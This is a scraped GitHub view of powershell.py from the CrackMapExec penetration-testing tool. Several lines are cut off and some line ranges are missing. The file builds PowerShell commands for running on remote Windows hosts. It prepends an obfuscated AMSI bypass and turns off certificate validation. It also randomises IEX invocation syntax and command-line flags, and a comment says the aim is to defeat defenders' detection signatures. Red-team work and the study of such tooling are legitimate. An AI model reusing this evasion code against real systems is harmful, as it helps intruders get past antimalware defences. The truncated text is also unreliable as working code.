



Sign in

This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

byt3bl33d3r / CrackMapExec Public archive

Notifications

Fork 1.6k

Star 8.4k

<> Code

Issues 57

Pull requests 11

Discussions

Actions

Projects

Wiki

Settings

CrackMapExec / cme / helpers / powershell.py



392 lines (318 loc) · 20.1 KB

Code

Blame

Raw



```
1 import cme
2 import os
3 import logging
4 import re
5 import tempfile
6 from sys import exit
7 from string import ascii_lowercase
8 from random import choice, randrange, sample
9 from subprocess import check_output, call
10 from cme.helpers.misc import gen_random_string, which
11 from cme.logger import CMEAdapter
12 from base64 import b64encode
13
14 logger = CMEAdapter()
15
16 obfuscate_ps_scripts = False
17
18 def get_ps_script(path):
19     return os.path.join(os.path.dirname(cme.__file__), 'data', path)
20
21 def encode_ps_command(command):
22     return b64encode(command.encode('UTF-16LE'))
23
24 def is_powershell_installed():
```

```
25         if which('powershell'):
26             return True
27         return False
28
29     def obfs_ps_script(path_to_script):
30         ps_script = path_to_script.split('/')[-1]
31         obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts')
32         obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
33
34         if is_powershell_installed() and obfuscate_ps_scripts:
35
36             if os.path.exists(obfs_ps_script):
37                 logger.info('Using cached obfuscated Powershell script')
38                 with open(obfs_ps_script, 'r') as script:
39                     return script.read()
40
41             logger.info('Performing one-time script obfuscation, go look at some memes cause this can t
42
43             invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -
44
45
46             logging.debug(invoke_obfs_command)
47
48             with open(os.devnull, 'w') as devnull:
49                 return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
50
51             logger.success('Script obfuscated successfully')
52
53             with open(obfs_ps_script, 'r') as script:
54                 return script.read()
55
56         else:
57             with open(get_ps_script(path_to_script), 'r') as script:
58                 """
59                 Strip block comments, line comments, empty lines, verbose statements,
60                 and debug statements from a PowerShell source file.
61                 """
62
63                 # strip block comments
64                 strippedCode = re.sub(re.compile('<#. *?#>', re.DOTALL), '', script.read())
65                 # strip blank lines, lines starting with #, and verbose/debug statements
66                 strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '#') and (line.strip() != 'verbose') and (line.strip() != 'debug'))])
67
68                 return strippedCode
69
70     def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
```

```
71
72     amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
73 try{
74 [Ref].Assembly.GetType('Sys'+ 'tem.Man'+ 'agement.Aut'+ 'omation.Am'+ 'siUt'+ 'ils').GetField('am'+ 'siIr
75 }catch{}
76 """
77
78     if force_ps32:
79         command = amsi_bypass + """
80 $functions = {{
81     function Command-ToExecute
82     {{
83 {command}
84     }}
85 }}
86 if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
87 {{
88     $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
89     $job | Wait-Job
90 }}
91 else
92 {{
93     IEX "$functions"
94     Command-ToExecute
95 }}
96 """.format(command=amsi_bypass + ps_command)
97
98     else:
99         command = amsi_bypass + ps_command
100
101     logging.debug('Generated PS command:\n {}'.format(command))
102
103     # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function ge
104     # it would spawn a local powershell process per host which isn't ideal, until I figure out a gc
105     # it will use the partial python implementation that I stole from GreatSCT (https://github.com/
106
107     """
108     if is_powershell_installed():
109
110         temp = tempfile.NamedTemporaryFile(prefix='cme_',
111                                           suffix='.ps1',
112                                           dir='/tmp')
113
114         temp.write(command)
115         temp.read()
116
117         encoding_types = [1,2,3,4,5,6]
```

```
117         while True:
```



```

319 # Generate the code that will decrypt and execute the payload and randomly select one.
320 baseScriptArray = []
321 baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArray)
322 baseScriptArray.append('(' + choice(['', ' ']) + '"' + delimitedEncodedArray + '".' + split + ' ')
323 baseScriptArray.append('(' + choice(['', ' ']) + '"' + delimitedEncodedArray + '"' + choice(['', ' ']) + ' ')
324 baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) + '|' + choice(['', ' ']) + ' ')
325 # Generate random JOIN syntax for all above options
326 newScriptArray = []
327 newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + ' ')
328 newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray))
329 newScriptArray.append(strJoin + '(' + choice(['', ' ']) + '"' + choice(['', ' ']) + ',' + choice(['', ' ']) + ' ')
330 newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVar + choice(['', ' ']) + ' ')
331
332 # Randomly select one of the above commands.
333 newScript = choice(newScriptArray)
334
335 # Generate random invoke operation syntax.
336 # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoded block.
337 invokeExpressionSyntax = []
338 invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression']))
339 # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with the payload
340 # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is used in the wild
341 # These methods draw on common environment variable values and PowerShell Automatic Variable values
342 invocationOperator = choice(['.', '&']) + choice(['', ' '])
343 invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
344 invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHome['x'])")
345 invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")

```



```
346     invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '2
347     invokeExpressionSyntax.append(invocationOperator + "(" + choice(['Get-Variable', 'GV', 'Variable
348     invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreference.ToString(
349
350     # Randomly choose from above invoke operation syntaxes.
351     invokeExpression = choice(invokeExpressionSyntax)
352
353     # Randomize the case of selected invoke operation.
354     invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)
355
356     # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptStrin
357     invokeOptions = []
358     invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['
359     invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' '])
360
361     obfuscatedPayload = choice(invokeOptions)
362
363     """
364     # Array to store all selected PowerShell execution flags.
365     powerShellFlags = []
366
367     noProfile = '-nop'
368     nonInteractive = '-noni'
369     windowStyle = '-w'
370
371     # Build the PowerShell execution flags by randomly selecting execution flags substrings and ran
372     # This is to prevent Blue Team from placing false hope in simple signatures for common substrin
373     cmdlineOptions = []
374     cmdlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
375     cmdlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
376     # Randomly decide to write WindowStyle value with flag substring or integer value.
377     cmdlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice
378
379     # Randomize the case of all command-line arguments.
380     for count, option in enumerate(cmdlineOptions):
381         cmdlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
382
383     for count, option in enumerate(cmdlineOptions):
384         cmdlineOptions[count] = ''.join(option)
385
386     cmdlineOptions = sample(cmdlineOptions, len(cmdlineOptions))
387     cmdlineOptions = ''.join(i + choice([' '*1, '*2, '*3]) for i in cmdlineOptions)
388
389     obfuscatedPayload = 'powershell.exe ' + cmdlineOptions + newScript
390     """
391
392
```

392

`return obfuscatedPayload`